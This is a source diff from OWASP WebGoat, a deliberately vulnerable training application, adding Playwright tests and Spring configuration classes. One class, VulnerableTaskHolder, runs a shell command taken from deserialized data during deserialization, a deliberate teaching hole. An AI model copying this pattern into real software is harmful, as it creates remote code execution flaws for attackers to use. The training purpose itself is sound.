+  void shouldDecodeJwt(Browser browser) {
+    var page = Authentication.sylvester(browser);
+    var secretKey = "test";
+    var jwt =
+        "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
+
+    page.navigate(webWolfURL("jwt"));
+    page.getByPlaceholder("Enter your secret key").fill(secretKey);
+    page.getByPlaceholder("Paste token here").type(jwt);
+    assertThat(page.locator("#header"))
+        .hasValue("{\n  \"alg\" : \"HS256\",\n  \"typ\" : \"JWT\"\n}");
+    assertThat(page.locator("#payload"))
+        .hasValue(
+            "{\n"
+                + "  \"iat\" : 1516239022,\n"
+                + "  \"name\" : \"John Doe\",\n"
+                + "  \"sub\" : \"1234567890\"\n"
+                + "}");
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webwolf/LoginUITest.java

@@ -0,0 +1,31 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webwolf;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
+
+public class LoginUITest extends PlaywrightTest {
+
+  @Test
+  void login(Browser browser) {
+    var page = Authentication.tweety(browser);
+    var loginPage = new WebWolfLoginPage(page);
+    loginPage.open();
+    loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
+
+    assertThat(loginPage.getSignInButton()).not().isVisible();
+
+    // logout
+    loginPage.logout();
+
+    assertThat(loginPage.getSignInButton()).isVisible();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webwolf/pages/WebWolfLoginPage.java

@@ -0,0 +1,41 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webwolf.pages;
+
+import static com.microsoft.playwright.options.AriaRole.BUTTON;
+import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webWolfURL;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import lombok.Getter;
+
+public class WebWolfLoginPage {
+
+  private final Page page;
+  @Getter private final Locator signInButton;
+  private final Locator signOutButton;
+
+  public WebWolfLoginPage(Page page) {
+    this.page = page;
+    this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign In"));
+    this.signOutButton =
+        this.page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("Sign out"));
+  }
+
+  public void open() {
+    page.navigate(webWolfURL("login"));
+  }
+
+  public void login(String username, String password) {
+    page.getByPlaceholder("Username WebGoat").fill(username);
+    page.getByPlaceholder("Password WebGoat").fill(password);
+    signInButton.click();
+  }
+
+  public void logout() {
+    this.signOutButton.click();
+  }
+}

src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java

@@ -0,0 +1,78 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.dummy.insecure.framework;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+import java.time.LocalDateTime;
+import lombok.extern.slf4j.Slf4j;
+
+@Slf4j
+// TODO move back to lesson
+public class VulnerableTaskHolder implements Serializable {
+
+  private static final long serialVersionUID = 2;
+
+  private String taskName;
+  private String taskAction;
+  private LocalDateTime requestedExecutionTime;
+
+  public VulnerableTaskHolder(String taskName, String taskAction) {
+    super();
+    this.taskName = taskName;
+    this.taskAction = taskAction;
+    this.requestedExecutionTime = LocalDateTime.now();
+  }
+
+  @Override
+  public String toString() {
+    return "VulnerableTaskHolder [taskName="
+        + taskName
+        + ", taskAction="
+        + taskAction
+        + ", requestedExecutionTime="
+        + requestedExecutionTime
+        + "]";
+  }
+
+  /**
+   * Execute a task when de-serializing a saved or received object.
+   */
+  private void readObject(ObjectInputStream stream) throws Exception {
+    // unserialize data so taskName and taskAction are available
+    stream.defaultReadObject();
+
+    // do something with the data
+    log.info("restoring task: {}", taskName);
+    log.info("restoring time: {}", requestedExecutionTime);
+
+    if (requestedExecutionTime != null
+        && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
+            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
+      // do nothing is the time is not within 10 minutes after the object has been created
+      log.debug(this.toString());
+      throw new IllegalArgumentException("outdated");
+    }
+
+    // condition is here to prevent you from destroying the goat altogether
+    if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
+        && taskAction.length() < 22) {
+      log.info("about to execute: {}", taskAction);
+      try {
+        Process p = Runtime.getRuntime().exec(taskAction);
+        BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
+        String line = null;
+        while ((line = in.readLine()) != null) {
+          log.info(line);
+        }
+      } catch (IOException e) {
+        log.error("IO Exception", e);
+      }
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -0,0 +1,31 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import org.springframework.security.core.AuthenticationException;
+import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
+
+public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
+  public AjaxAuthenticationEntryPoint(String loginFormUrl) {
+    super(loginFormUrl);
+  }
+
+  @Override
+  public void commence(
+      HttpServletRequest request,
+      HttpServletResponse response,
+      AuthenticationException authException)
+      throws IOException, ServletException {
+    if (request.getHeader("x-requested-with") != null) {
+      response.sendError(401, authException.getMessage());
+    } else {
+      super.commence(request, response, authException);
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -0,0 +1,147 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import static org.asciidoctor.Asciidoctor.Factory.create;
+
+import jakarta.servlet.http.HttpServletRequest;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.StringWriter;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Set;
+import lombok.extern.slf4j.Slf4j;
+import org.asciidoctor.Asciidoctor;
+import org.asciidoctor.Attributes;
+import org.asciidoctor.Options;
+import org.asciidoctor.extension.JavaExtensionRegistry;
+import org.owasp.webgoat.container.asciidoc.*;
+import org.owasp.webgoat.container.i18n.Language;
+import org.springframework.core.io.ResourceLoader;
+import org.springframework.http.HttpHeaders;
+import org.springframework.web.context.request.RequestContextHolder;
+import org.springframework.web.context.request.ServletRequestAttributes;
+import org.springframework.web.servlet.i18n.SessionLocaleResolver;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+/**
+ * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
+ *
+ * <p><code>
+ * <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
+ * </code>
+ */
+@Slf4j
+public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
+
+  private static final Asciidoctor asciidoctor = create();
+  private static final String PREFIX = "doc:";
+
+  private final Language language;
+  private final ResourceLoader resourceLoader;
+
+  public AsciiDoctorTemplateResolver(Language language, ResourceLoader resourceLoader) {
+    this.resourceLoader = resourceLoader;
+    this.language = language;
+    setResolvablePatterns(Set.of(PREFIX + "*"));
+  }
+
+  @Override
+  protected ITemplateResource computeTemplateResource(
+      IEngineConfiguration configuration,
+      String ownerTemplate,
+      String template,
+      String resourceName,
+      String characterEncoding,
+      Map<String, Object> templateResolutionAttributes) {
+    var templateName = resourceName.substring(PREFIX.length());
+    log.debug("template used: {}", templateName);
+    try (InputStream is = getInputStream(templateName)) {
+      JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
+      extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
+      extensionRegistry.inlineMacro("webWolfRootLink", WebWolfRootMacro.class);
+      extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class);
+      extensionRegistry.inlineMacro("webGoatTempDir", WebGoatTmpDirMacro.class);
+      extensionRegistry.inlineMacro("operatingSystem", OperatingSystemMacro.class);
+      extensionRegistry.inlineMacro("username", UsernameMacro.class);
+
+      StringWriter writer = new StringWriter();
+      asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
+      return new StringTemplateResource(writer.getBuffer().toString());
+    } catch (IOException e) {
+      return new StringTemplateResource(
+          "<div>Unable to find documentation for: " + templateName + " </div>");
+    }
+  }
+
+  private InputStream getInputStream(String templateName) throws IOException {
+    log.debug("locale: {}", language.getLocale().getLanguage());
+    String computedResourceName =
+        computeResourceName(templateName, language.getLocale().getLanguage());
+    if (resourceLoader
+        .getResource("classpath:/" + computedResourceName)
+        .isReadable() /*isFile()*/) {
+      log.debug("localized file exists");
+      return resourceLoader.getResource("classpath:/" + computedResourceName).getInputStream();
+    } else {
+      log.debug("using english template");
+      return resourceLoader.getResource("classpath:/" + templateName).getInputStream();
+    }
+  }
+
+  private String computeResourceName(String resourceName, String language) {
+    String computedResourceName;
+    if (language.equals("en")) {
+      computedResourceName = resourceName;
+    } else {
+      computedResourceName = resourceName.replace(".adoc", "_".concat(language).concat(".adoc"));
+    }
+    log.debug("computed local file name: {}", computedResourceName);
+    log.debug(
+        "file exists: {}",
+        resourceLoader.getResource("classpath:/" + computedResourceName).isReadable());
+    return computedResourceName;
+  }
+
+  private Options createAttributes() {
+
+    return Options.builder()
+        .attributes(
+            Attributes.builder()
+                .attribute("source-highlighter", "coderay")
+                .attribute("backend", "xhtml")
+                .attribute("lang", determineLanguage())
+                .attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
+                .build())
+        .build();
+  }
+
+  private String determineLanguage() {
+    HttpServletRequest request =
+        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
+
+    Locale browserLocale =
+        (Locale)
+            request.getSession().getAttribute(SessionLocaleResolver.LOCALE_SESSION_ATTRIBUTE_NAME);
+    if (null != browserLocale) {
+      log.debug("browser locale {}", browserLocale);
+      return browserLocale.getLanguage();
+    } else {
+      String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE);
+      if (null != langHeader) {
+        log.debug("browser locale {}", langHeader);
+        return langHeader.substring(0, 2);
+      } else {
+        log.debug("browser default english");
+        return "en";
+      }
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/CurrentUser.java

@@ -0,0 +1,18 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import org.springframework.security.core.annotation.AuthenticationPrincipal;
+
+@Target({ElementType.PARAMETER, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@AuthenticationPrincipal
+public @interface CurrentUser {}

src/main/java/org/owasp/webgoat/container/CurrentUsername.java

@@ -0,0 +1,18 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import org.springframework.security.core.annotation.AuthenticationPrincipal;
+
+@Target({ElementType.PARAMETER, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@AuthenticationPrincipal(expression = "#this.getUsername()")
+public @interface CurrentUsername {}

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

@@ -0,0 +1,71 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.util.Map;
+import java.util.function.Function;
+import javax.sql.DataSource;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.flywaydb.core.Flyway;
+import org.owasp.webgoat.container.service.RestartLessonService;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Primary;
+import org.springframework.jdbc.datasource.DriverManagerDataSource;
+
+@Configuration
+@RequiredArgsConstructor
+@Slf4j
+public class DatabaseConfiguration {
+
+  private final DataSourceProperties properties;
+
+  @Bean
+  @Primary
+  public DataSource dataSource() {
+    DriverManagerDataSource dataSource = new DriverManagerDataSource();
+    dataSource.setDriverClassName(properties.getDriverClassName());
+    dataSource.setUrl(properties.getUrl());
+    dataSource.setUsername(properties.getUsername());
+    dataSource.setPassword(properties.getPassword());
+    return dataSource;
+  }
+
+  /**
+   * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
+   * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
+   * quite easily see {@link RestartLessonService#restartLesson(String, WebGoatUser)} for how we
+   * clean the lesson related tables.
+   */
+  @Bean(initMethod = "migrate")
+  public Flyway flyWayContainer() {
+    return Flyway.configure()
+        .configuration(Map.of("driver", properties.getDriverClassName()))
+        .dataSource(dataSource())
+        .schemas("container")
+        .locations("db/container")
+        .load();
+  }
+
+  @Bean
+  public Function<String, Flyway> flywayLessons() {
+    return schema ->
+        Flyway.configure()
+            .configuration(Map.of("driver", properties.getDriverClassName()))
+            .schemas(schema)
+            .cleanDisabled(false)
+            .dataSource(dataSource())
+            .locations("lessons")
+            .load();
+  }
+
+  @Bean
+  public LessonDataSource lessonDataSource(DataSource dataSource) {
+    return new LessonDataSource(dataSource);
+  }
+}

src/main/java/org/owasp/webgoat/container/HammerHead.java

@@ -0,0 +1,27 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import lombok.AllArgsConstructor;
+import org.owasp.webgoat.container.session.Course;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.servlet.ModelAndView;
+
+@Controller
+@AllArgsConstructor
+public class HammerHead {
+
+  private final Course course;
+
+  /** Entry point for WebGoat, redirects to the first lesson found within the course. */
+  @RequestMapping(
+      path = "/attack",
+      method = {RequestMethod.GET, RequestMethod.POST})
+  public ModelAndView attack() {
+    return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink());
+  }
+}

src/main/java/org/owasp/webgoat/container/LessonDataSource.java

@@ -0,0 +1,74 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2021 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.io.PrintWriter;
+import java.lang.reflect.Proxy;
+import java.sql.Connection;
+import java.sql.SQLException;
+import java.sql.SQLFeatureNotSupportedException;
+import java.util.logging.Logger;
+import javax.sql.DataSource;
+import org.owasp.webgoat.container.lessons.LessonConnectionInvocationHandler;
+import org.springframework.jdbc.datasource.ConnectionProxy;
+
+public class LessonDataSource implements DataSource {
+
+  private final DataSource originalDataSource;
+
+  public LessonDataSource(DataSource dataSource) {
+    this.originalDataSource = dataSource;
+  }
+
+  @Override
+  public Connection getConnection() throws SQLException {
+    var targetConnection = originalDataSource.getConnection();
+    return (Connection)
+        Proxy.newProxyInstance(
+            ConnectionProxy.class.getClassLoader(),
+            new Class[] {ConnectionProxy.class},
+            new LessonConnectionInvocationHandler(targetConnection));
+  }
+
+  @Override
+  public Connection getConnection(String username, String password) throws SQLException {
+    return originalDataSource.getConnection(username, password);
+  }
+
+  @Override
+  public PrintWriter getLogWriter() throws SQLException {
+    return originalDataSource.getLogWriter();
+  }
+
+  @Override
+  public void setLogWriter(PrintWriter out) throws SQLException {
+    originalDataSource.setLogWriter(out);
+  }
+
+  @Override
+  public void setLoginTimeout(int seconds) throws SQLException {
+    originalDataSource.setLoginTimeout(seconds);
+  }
+
+  @Override
+  public int getLoginTimeout() throws SQLException {
+    return originalDataSource.getLoginTimeout();
+  }
+
+  @Override
+  public Logger getParentLogger() throws SQLFeatureNotSupportedException {
+    return originalDataSource.getParentLogger();
+  }
+
+  @Override
+  public <T> T unwrap(Class<T> clazz) throws SQLException {
+    return originalDataSource.unwrap(clazz);
+  }
+
+  @Override
+  public boolean isWrapperFor(Class<?> clazz) throws SQLException {
+    return originalDataSource.isWrapperFor(clazz);
+  }
+}

src/main/java/org/owasp/webgoat/container/LessonResourceScanner.java

@@ -0,0 +1,46 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.regex.Pattern;
+import lombok.Getter;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.support.ResourcePatternResolver;
+import org.springframework.stereotype.Component;
+
+@Component
+@Slf4j
+public class LessonResourceScanner {
+
+  private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
+
+  @Getter private final Set<String> lessons = new HashSet<>();
+
+  public LessonResourceScanner(ResourcePatternResolver resourcePatternResolver) {
+    try {
+      var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
+      for (var resource : resources) {
+        // WG can run as a fat jar or as directly from file system we need to support both so use
+        // the URL
+        var url = resource.getURL();
+        var matcher = lessonPattern.matcher(url.toString());
+        if (matcher.matches()) {
+          lessons.add(matcher.group(1));
+        }
+      }
+      log.debug("Found {} lessons", lessons.size());
+    } catch (IOException e) {
+      log.warn("No lessons found...");
+    }
+  }
+
+  public List<String> applyPattern(String pattern) {
+    return lessons.stream().map(lesson -> String.format(pattern, lesson)).toList();
+  }
+}

src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java

@@ -0,0 +1,72 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ResourceLoader;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+/**
+ * Dynamically resolve a lesson. In the html file this can be invoked as: <code>
+ * <div th:case="true" th:replace="lesson:__${lesson.class.simpleName}__"></div>
+ * </code>
+ *
+ * <p>Thymeleaf will invoke this resolver based on the prefix and this implementation will resolve
+ * the html in the plugins directory
+ */
+@Slf4j
+public class LessonTemplateResolver extends FileTemplateResolver {
+
+  private static final String PREFIX = "lesson:";
+  private final ResourceLoader resourceLoader;
+  private final Map<String, byte[]> resources = new HashMap<>();
+
+  public LessonTemplateResolver(ResourceLoader resourceLoader) {
+    this.resourceLoader = resourceLoader;
+    setResolvablePatterns(Set.of(PREFIX + "*"));
+  }
+
+  @Override
+  protected ITemplateResource computeTemplateResource(
+      IEngineConfiguration configuration,
+      String ownerTemplate,
+      String template,
+      String resourceName,
+      String characterEncoding,
+      Map<String, Object> templateResolutionAttributes) {
+    var templateName = resourceName.substring(PREFIX.length());
+    byte[] resource = resources.get(templateName);
+    if (resource == null) {
+      resource = loadAndCache(templateName);
+    }
+
+    if (resource == null) {
+      return new StringTemplateResource("Unable to find lesson HTML: %s".formatted(templateName));
+    }
+    return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
+  }
+
+  private byte[] loadAndCache(String templateName) {
+    try {
+      var resource =
+          resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
+      resources.put(templateName, resource);
+      return resource;
+    } catch (IOException e) {
+      log.error(
+          "Unable to find lesson HTML: '{}', does the name of HTML file name match the lesson class name?",
+          templateName);
+      return null;
+    }
+  }
+}

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -0,0 +1,232 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.Map;
+import java.util.Set;
+import lombok.RequiredArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.i18n.Language;
+import org.owasp.webgoat.container.i18n.Messages;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.session.LabelDebugger;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.core.io.ResourceLoader;
+import org.springframework.core.io.support.ResourcePatternResolver;
+import org.springframework.web.servlet.LocaleResolver;
+import org.springframework.web.servlet.ViewResolver;
+import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
+import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
+import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
+import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
+import org.springframework.web.servlet.i18n.SessionLocaleResolver;
+import org.thymeleaf.IEngineConfiguration;
+import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
+import org.thymeleaf.spring6.SpringTemplateEngine;
+import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
+import org.thymeleaf.spring6.view.ThymeleafViewResolver;
+import org.thymeleaf.templatemode.TemplateMode;
+import org.thymeleaf.templateresolver.FileTemplateResolver;
+import org.thymeleaf.templateresolver.ITemplateResolver;
+import org.thymeleaf.templateresource.ITemplateResource;
+import org.thymeleaf.templateresource.StringTemplateResource;
+
+/** Configuration for Spring MVC */
+@Configuration
+@RequiredArgsConstructor
+@Slf4j
+public class MvcConfiguration implements WebMvcConfigurer {
+
+  private static final String UTF8 = "UTF-8";
+
+  private final LessonResourceScanner lessonScanner;
+
+  @Override
+  public void addViewControllers(ViewControllerRegistry registry) {
+    registry.addViewController("/login").setViewName("login");
+    registry.addViewController("/lesson_content").setViewName("lesson_content");
+    registry.addViewController("/start.mvc").setViewName("main_new");
+  }
+
+  @Bean
+  public ViewResolver viewResolver(SpringTemplateEngine thymeleafTemplateEngine) {
+    ThymeleafViewResolver resolver = new ThymeleafViewResolver();
+    resolver.setTemplateEngine(thymeleafTemplateEngine);
+    resolver.setCharacterEncoding(StandardCharsets.UTF_8.displayName());
+    return resolver;
+  }
+
+  /**
+   * Responsible for loading lesson templates based on Thymeleaf, for example:
+   *
+   * <p><div th:include="/lessons/spoofcookie/templates/spoofcookieform.html" id="content"></div>
+   */
+  @Bean
+  public ITemplateResolver lessonThymeleafTemplateResolver(ResourceLoader resourceLoader) {
+    var resolver =
+        new FileTemplateResolver() {
+          @Override
+          protected ITemplateResource computeTemplateResource(
+              IEngineConfiguration configuration,
+              String ownerTemplate,
+              String template,
+              String resourceName,
+              String characterEncoding,
+              Map<String, Object> templateResolutionAttributes) {
+            try (var is =
+                resourceLoader.getResource("classpath:" + resourceName).getInputStream()) {
+              return new StringTemplateResource(
+                  new String(is.readAllBytes(), StandardCharsets.UTF_8));
+            } catch (IOException e) {
+              return null;
+            }
+          }
+        };
+    resolver.setOrder(1);
+    return resolver;
+  }
+
+  /** Loads all normal WebGoat specific Thymeleaf templates */
+  @Bean
+  public ITemplateResolver springThymeleafTemplateResolver(ApplicationContext applicationContext) {
+    SpringResourceTemplateResolver resolver = new SpringResourceTemplateResolver();
+    resolver.setPrefix("classpath:/webgoat/templates/");
+    resolver.setSuffix(".html");
+    resolver.setTemplateMode(TemplateMode.HTML);
+    resolver.setOrder(2);
+    resolver.setCharacterEncoding(UTF8);
+    resolver.setApplicationContext(applicationContext);
+    return resolver;
+  }
+
+  /** Loads the html for the complete lesson, see lesson_content.html */
+  @Bean
+  public LessonTemplateResolver lessonTemplateResolver(ResourceLoader resourceLoader) {
+    LessonTemplateResolver resolver = new LessonTemplateResolver(resourceLoader);
+    resolver.setOrder(0);
+    resolver.setCacheable(false);
+    resolver.setCharacterEncoding(UTF8);
+    return resolver;
+  }
+
+  /** Loads the lesson asciidoc. */
+  @Bean
+  public AsciiDoctorTemplateResolver asciiDoctorTemplateResolver(
+      Language language, ResourceLoader resourceLoader) {
+    log.debug("template locale {}", language);
+    AsciiDoctorTemplateResolver resolver =
+        new AsciiDoctorTemplateResolver(language, resourceLoader);
+    resolver.setCacheable(false);
+    resolver.setOrder(1);
+    resolver.setCharacterEncoding(UTF8);
+    return resolver;
+  }
+
+  @Bean
+  public SpringTemplateEngine thymeleafTemplateEngine(
+      ITemplateResolver springThymeleafTemplateResolver,
+      LessonTemplateResolver lessonTemplateResolver,
+      AsciiDoctorTemplateResolver asciiDoctorTemplateResolver,
+      ITemplateResolver lessonThymeleafTemplateResolver) {
+    SpringTemplateEngine engine = new SpringTemplateEngine();
+    engine.setEnableSpringELCompiler(true);
+    engine.addDialect(new SpringSecurityDialect());
+    engine.setTemplateResolvers(
+        Set.of(
+            lessonTemplateResolver,
+            asciiDoctorTemplateResolver,
+            lessonThymeleafTemplateResolver,
+            springThymeleafTemplateResolver));
+    return engine;
+  }
+
+  @Override
+  public void addResourceHandlers(ResourceHandlerRegistry registry) {
+    // WebGoat internal
+    registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webgoat/static/css/");
+    registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webgoat/static/js/");
+    registry
+        .addResourceHandler("/plugins/**")
+        .addResourceLocations("classpath:/webgoat/static/plugins/");
+    registry
+        .addResourceHandler("/fonts/**")
+        .addResourceLocations("classpath:/webgoat/static/fonts/");
+
+    // WebGoat lessons
+    registry
+        .addResourceHandler("/images/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/images/").toArray(String[]::new));
+    registry
+        .addResourceHandler("/lesson_js/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/js/").toArray(String[]::new));
+    registry
+        .addResourceHandler("/lesson_css/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/css/").toArray(String[]::new));
+    registry
+        .addResourceHandler("/lesson_templates/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/templates/").toArray(String[]::new));
+    registry
+        .addResourceHandler("/video/**")
+        .addResourceLocations(
+            lessonScanner.applyPattern("classpath:/lessons/%s/video/").toArray(String[]::new));
+  }
+
+  @Bean
+  public PluginMessages pluginMessages(
+      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
+    PluginMessages pluginMessages = new PluginMessages(messages, language, resourcePatternResolver);
+    pluginMessages.setDefaultEncoding("UTF-8");
+    pluginMessages.setBasenames("i18n/WebGoatLabels");
+    pluginMessages.setFallbackToSystemLocale(false);
+    return pluginMessages;
+  }
+
+  @Bean
+  public Language language(LocaleResolver localeResolver) {
+    return new Language(localeResolver);
+  }
+
+  @Bean
+  public LocaleResolver localeResolver() {
+    SessionLocaleResolver localeResolver = new SessionLocaleResolver();
+    return localeResolver;
+  }
+
+  @Bean
+  public LocaleChangeInterceptor localeChangeInterceptor() {
+    LocaleChangeInterceptor lci = new LocaleChangeInterceptor();
+    lci.setParamName("lang");
+    return lci;
+  }
+
+  @Override
+  public void addInterceptors(InterceptorRegistry registry) {
+    registry.addInterceptor(localeChangeInterceptor());
+    registry.addInterceptor(new UserInterceptor());
+  }
+
+  @Bean
+  public Messages messageSource(Language language) {
+    Messages messages = new Messages(language);
+    messages.setDefaultEncoding("UTF-8");
+    messages.setBasename("classpath:i18n/messages");
+    messages.setFallbackToSystemLocale(false);
+    return messages;
+  }
+
+  @Bean
+  public LabelDebugger labelDebugger() {
+    return new LabelDebugger();
+  }
+}

src/main/java/org/owasp/webgoat/container/UserInterceptor.java

@@ -0,0 +1,57 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2023 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
+import org.springframework.core.env.Environment;
+import org.springframework.security.core.Authentication;
